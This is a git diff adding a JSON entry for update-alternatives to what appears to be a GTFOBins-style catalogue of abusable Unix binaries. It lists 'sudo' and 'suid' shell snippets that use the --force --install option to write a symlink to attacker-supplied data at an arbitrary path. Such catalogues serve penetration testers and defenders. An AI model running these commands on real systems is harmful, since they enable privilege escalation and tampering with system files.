diff --git a/data/update-alternatives.json b/data/update-alternatives.json new file mode 100644 index 0000000..5f67310 --- /dev/null +++ b/data/update-alternatives.json @@ -0,0 +1,16 @@ +{ + "functions": { + "sudo": [ + { + "description": "Write in [file] a symlink to $TF.", + "code": "TF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install [file] x \"$TF\" 0\n" + } + ], + "suid": [ + { + "description": "Write in [file] a symlink to $TF.", + "code": "TF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install [file] x \"$TF\" 0\n" + } + ] + } +}